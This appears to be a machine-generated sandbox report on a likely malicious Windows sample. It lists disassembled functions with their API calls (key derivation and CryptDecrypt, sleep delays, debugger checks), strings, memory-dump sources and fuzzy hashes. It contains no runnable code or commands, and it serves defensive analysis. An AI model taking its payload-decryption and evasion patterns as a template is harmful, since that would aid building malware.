Instruction Fuzzy Hash: 89F2E1B0E042189BEB24DF24DC58BADBBB1EF05304F5482D8E5096B2D1DB74BA85CF65

Function 04B53817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B53897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B538BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B53925
GetLastError.KERNEL32 ref: 04B5392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B53957
GetLastError.KERNEL32 ref: 04B53961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B53971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B53A33
CryptDestroyKey.ADVAPI32(?), ref: 04B53AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B53873

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: b9e00f42f3ddc4c18172ed2dc505a712a2370bb8d55e15788e86f7b8d799e1fd
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: 5C816F71A002189FEF249F24CC45B9EBBB5EF49340F1481E9E94DE72A1DB31AE858F51

Function 04B551B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
Sleep.KERNEL32(000007D0), ref: 04B5599C
Sleep.KERNEL32(000007D0), ref: 04B559B6

Strings

updateSW, xrefs: 04B558C2
DFEK, xrefs: 04B555C3

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: c617746ff058f46fdfd794ad48d793e290808aaa42e9f5f038b76497f4876a59
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: E63223B1E002549BEF28DF24CC887ADFBB0EF45304F1442E9D8096B2A5DB75AA85CF55

Function 009964E3 Relevance: 10.4, Strings: 7, Instructions: 1654COMMON

Download Yara Rule

Strings

^jY, xrefs: 009969DA
Z78, xrefs: 009974B5
y^\<, xrefs: 00996CC2
'l-, xrefs: 00997214
f6}~, xrefs: 00997717
idOg, xrefs: 00996F5B
>"/, xrefs: 009973B5

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: >"/$Z78$f6}~$idOg$y^\<$'l-$^jY
API String ID: 0-4256145367
Opcode ID: a73db8f93aba78de3a424b98038901a353d854bcd070670531a6b5e4afd22bea
Instruction ID: bcc1e2a19dc000d6be51707d5fefe3c9a3cb9c808b32fdbbeb6db8af0dead4d0
Opcode Fuzzy Hash: a73db8f93aba78de3a424b98038901a353d854bcd070670531a6b5e4afd22bea
Instruction Fuzzy Hash: B6B22AF3A08200AFE708AE2DEC4567ABBE5EF94720F1A453DEAC5C7744E93558018697

Function 04D04350 Relevance: 10.4, APIs: 3, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

APIs

Part of subcall function 04D0FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D0FC16

__Init_thread_footer.LIBCMT ref: 04D044BD
__Init_thread_footer.LIBCMT ref: 04D047CB

Strings

DFEK, xrefs: 04D0475C
U%, xrefs: 04D05D16

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$U%
API String ID: 829385169-3435397596
Opcode ID: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction ID: 01384debf471ce94e14142a97189ff0586a5139a176f32076495f655a9d5bb9b
Opcode Fuzzy Hash: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction Fuzzy Hash: 78D2F271E002149BEB15EF24DC54BEDBBB5EF40308F5481A9E8096B2D1DB74BA85CFA1

Function 00994A27 Relevance: 10.4, Strings: 7, Instructions: 1605COMMON

Download Yara Rule

Strings

yYw>, xrefs: 009958B0
IqwO, xrefs: 00994A96
9]'V, xrefs: 00995DB8
0;_, xrefs: 009955BB
y5En, xrefs: 0099503C
}5En, xrefs: 00995037
gID_, xrefs: 009950CF

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 0;_$9]'V$IqwO$gID_$y5En$yYw>$}5En
API String ID: 0-367399195
Opcode ID: eb61af6674f042a4fc86166e4d0abce2577c591d364adeb5492a36a7bb85b33b
Instruction ID: 794a19f5976c4c7c7ac8ae438d36963ae6d136a5c6ebfe2d02ef9b9cea6ba0be
Opcode Fuzzy Hash: eb61af6674f042a4fc86166e4d0abce2577c591d364adeb5492a36a7bb85b33b
Instruction Fuzzy Hash: 9CB2F4F3A0C2049FE7046E29EC8567AFBE9EF94720F1A493DEAC487344E63558058797

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#IND, xrefs: 0041A40B
1#QNAN, xrefs: 0041A419
1#INF, xrefs: 0041A43C
1#SNAN, xrefs: 0041A412

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 009913CB Relevance: 9.1, Strings: 6, Instructions: 1622COMMON

Download Yara Rule

Strings

Jf?w, xrefs: 00992653
(L~=, xrefs: 00991D53
{{w, xrefs: 00991C49
*O, xrefs: 0099271F
@F, xrefs: 00991C17
1m, xrefs: 00991BB4

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: (L~=$@F$Jf?w${{w$*O$1m
API String ID: 0-1226398655
Opcode ID: 40322d9f2a7ada63475bf8e25b372d24b198d74eff18cc3be6cf75717912f91c
Instruction ID: b2d7e2b57627c343f8ab036e47d84e05e81063aa5cc0c4ef684129e5fc2b2c1f
Opcode Fuzzy Hash: 40322d9f2a7ada63475bf8e25b372d24b198d74eff18cc3be6cf75717912f91c
Instruction Fuzzy Hash: 0EB228F360C204AFE704AE2DEC8567AFBE9EB94320F16463DEAC4C7740E67558058697

Function 00997FE1 Relevance: 9.1, Strings: 6, Instructions: 1589COMMON

Download Yara Rule

Strings

u<-}, xrefs: 0099922E
e>WG, xrefs: 00998500
j[~W, xrefs: 00998102
9/M, xrefs: 009982EE
Frr, xrefs: 00998009
LJh, xrefs: 00998DBF

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 9/M$LJh$e>WG$j[~W$u<-}$Frr
API String ID: 0-994131089
Opcode ID: af8bb0266949a8781626ff49f14375ffc96d18738bf4e78f624242e43e5b814b
Instruction ID: adbddecf20c5e42194f2ce95fa40a53b8d1e063e1835d1ed22fd146a63e51553
Opcode Fuzzy Hash: af8bb0266949a8781626ff49f14375ffc96d18738bf4e78f624242e43e5b814b
Instruction Fuzzy Hash: A2B227F3A0C2049FE308AF2DEC4567ABBE5EF94320F16893DEAC587744E63558058697

Function 0098C30F Relevance: 9.1, Strings: 6, Instructions: 1575COMMON

Download Yara Rule

Strings

W'e=, xrefs: 0098C598
>i{6, xrefs: 0098C61B
-s?, xrefs: 0098D2CF
0-~, xrefs: 0098C9E2
RKw, xrefs: 0098CCB5
1:m_, xrefs: 0098D643

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: -s?$0-~$1:m_$>i{6$RKw$W'e=
API String ID: 0-3103819128
Opcode ID: a392f1cfe6ff61df07184773d6a806b94b4a91b6860a107f367240df5ff3f9d3
Instruction ID: 396c6ceb0c6a59d75a1be529b388ca2887f9752a5c27df5694dbb53c357ce3f0
Opcode Fuzzy Hash: a392f1cfe6ff61df07184773d6a806b94b4a91b6860a107f367240df5ff3f9d3
Instruction Fuzzy Hash: 68B2D3F360C204AFE3046E29EC8567AFBE9EF94720F16493DEAC4C3744EA3558518697

Function 0098F80B Relevance: 7.9, Strings: 5, Instructions: 1624COMMON

Download Yara Rule

Strings

"'su, xrefs: 0098F886
\4i}, xrefs: 009906CE
"'su, xrefs: 0098F8A5
Zz^, xrefs: 0098FC39
?4}M, xrefs: 009904EC

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: "'su$"'su$?4}M$Zz^$\4i}
API String ID: 0-2977376743
Opcode ID: ba96fee25369613988e1b93a849213a9d44b6e0cfd92ad7be1f10a6d0b2842bd
Instruction ID: c0848ada0b85c2d20994cbf87bf90595bdbd670504770a087b772cac61e3f35c
Opcode Fuzzy Hash: ba96fee25369613988e1b93a849213a9d44b6e0cfd92ad7be1f10a6d0b2842bd
Instruction Fuzzy Hash: BAB2D6F3A082009FE304AE2DEC8567ABBE5EF94720F16892DEAC5C7744E63558058797

Function 0098A7B5 Relevance: 7.8, Strings: 5, Instructions: 1584COMMON

Download Yara Rule

Strings

<:_O, xrefs: 0098B069
(D;, xrefs: 0098A992
ND/s, xrefs: 0098AE9B
dk}, xrefs: 0098B3D1
{.~{, xrefs: 0098AD02

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: (D;$<:_O$ND/s${.~{$dk}
API String ID: 0-2633175437
Opcode ID: 3a986fdad45eb299f5c6cee0aa763a7d77d493db5bbb9dfb12ce9c063a1edd98
Instruction ID: 39eeacc558afd91d728b5d438294b4ac2022e4b009bf1393b703dcc7f6b76d21
Opcode Fuzzy Hash: 3a986fdad45eb299f5c6cee0aa763a7d77d493db5bbb9dfb12ce9c063a1edd98
Instruction Fuzzy Hash: 54B2F6F390C2109FE704AF29DC8566AF7E9EF94720F1A892DEAC4D7344E63598018797

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 04D0FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 6c2d7a8c146462ba5a324ea9cfa0bf9606b88200bf4d53bcd6c6f7975e9f1e9e
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 70024E71E00219ABDB15DFA8D8807AEBBF1FF48314F248269D919EB391D731A945CB90

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 04B60B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: f33c18db427eaeebba9e681529b6c284345b3b4ec1bbcbe4dd33270660cdf067
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: BF023D71E012199FDF14DFA9C8806AEFBB5FF48314F2486A9D91AE7380D735A941CB90

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 04B5A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B5A7BD
IsDebuggerPresent.KERNEL32 ref: 04B5A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B5A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B5A8B3

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: ce7d8a990a125433c030e44fd928b2eef5c0e504062ea3d6288759401a5ebb2e
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 5131F975D0521DDBDB10DFA4D9897CCBBB8BF08304F1041EAE80DAB250EB71AA858F45

Function 04D022C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

P.@, xrefs: 04D024A2
p.@, xrefs: 04D024A9
p.@P.@0.@, xrefs: 04D024C5
0.@, xrefs: 04D02498

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: fbb2ff2264b49390f5b26b2455b6abd2fd81030c5558e074f1e74025330fed94
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 23F1AD71B01215ABDB14CF68DC89BA9B7A4FF48304F5481A9E909EB6C1E771FC11CBA4

Function 00992EA8 Relevance: 5.4, Strings: 3, Instructions: 1647COMMON

Download Yara Rule

Strings

ljw, xrefs: 00993335
A[Y{, xrefs: 00993B65
s0C~, xrefs: 00993AC2

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: A[Y{$ljw$s0C~
API String ID: 0-2302077631
Opcode ID: e7c787d8e8a01b5970f1a69f0d24f7c943040c992bb7dd1059686d9ecf4f0ac2
Instruction ID: 70e3f4068c65d6de133e381f6b6a1ac5ef114342718dd40a28948b82ff7fac98
Opcode Fuzzy Hash: e7c787d8e8a01b5970f1a69f0d24f7c943040c992bb7dd1059686d9ecf4f0ac2
Instruction Fuzzy Hash: 8BB208F360C2049FE3046E2DEC8577ABBE9EF94720F1A893DEAC4D3744E93558058696

Function 00999FA3 Relevance: 4.9, Strings: 3, Instructions: 1131COMMON

Download Yara Rule

Strings

ye_}, xrefs: 0099A990
*AH, xrefs: 0099A8B4
.?, xrefs: 0099A04E

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: *AH$.?$ye_}
API String ID: 0-2988971910
Opcode ID: dcc0c88ef7de6692652007117f5f7c8834b9fc0e9d7a9a24e783e3e1158f50a6
Instruction ID: 460be074216013472cc110a2bd42b90561f83d58ea056c97362b1f9d4453fe24
Opcode Fuzzy Hash: dcc0c88ef7de6692652007117f5f7c8834b9fc0e9d7a9a24e783e3e1158f50a6
Instruction Fuzzy Hash: 027229F360C2009FE304AE2DEC8577ABBE5EFD4320F16863DEAC587744EA3558058696

Function 04B5D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B52A70), ref: 04B5D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B52A70), ref: 04B5D10C
UnhandledExceptionFilter.KERNEL32(04B5274A,?,?,?,?,?,04B52A70), ref: 04B5D119

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: 3eb19bbb1e8743bae8607edd19f79446217a1b1db28049f22dd681906eab74b4
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: 3431A87490122D9BCB21DF64DC887CDBBB8BF18310F5041EAE81CA7260E7709B858F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B5092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04B50966
., xrefs: 04B5095F
GetProcAddress., xrefs: 04B509DC, 04B509DF, 04B509E4

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 4de6485bf74011bf796b56fbb2e865805ccd799282971c35517f1f1da47f014d
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5E3128B6900609DFEB10DF99C880BAEFBF5FF48324F15408AD941A7264D771EA45CBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,3031BDFB), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 04D19706 Relevance: 3.0, APIs: 1, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D1991D

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction ID: 1ed8da1ddc72e2c14096d127d2f8598391556a2cb2ec996d4bb7a4d454f66de2
Opcode Fuzzy Hash: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction Fuzzy Hash: 32D228B1E092289FDB65CE28ED507EAB7B5FB44304F1441EAD84DE7250E778AA85CF40

Function 0098DD36 Relevance: 2.9, Strings: 1, Instructions: 1619COMMON

Download Yara Rule

Strings

47[n, xrefs: 0098EA08

Memory Dump Source

Source File: 00000000.00000002.2536499578.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 47[n
API String ID: 0-2355923775
Opcode ID: cff0179a6a050d7eadac076203f9a25aa77e332b2bcb5c748d8aee48e7552805
Instruction ID: 814601542f1e7baa9f8a2946692f04ebd3d59c52243314a5403e9451a4a37874
Opcode Fuzzy Hash: cff0179a6a050d7eadac076203f9a25aa77e332b2bcb5c748d8aee48e7552805
Instruction Fuzzy Hash: EDB216F39082149FE304AE29EC8567AFBE9EF94720F16493DEAC4C3744EA3558048797

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194
0Z@, xrefs: 0040F0D1, 0040F0D7

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
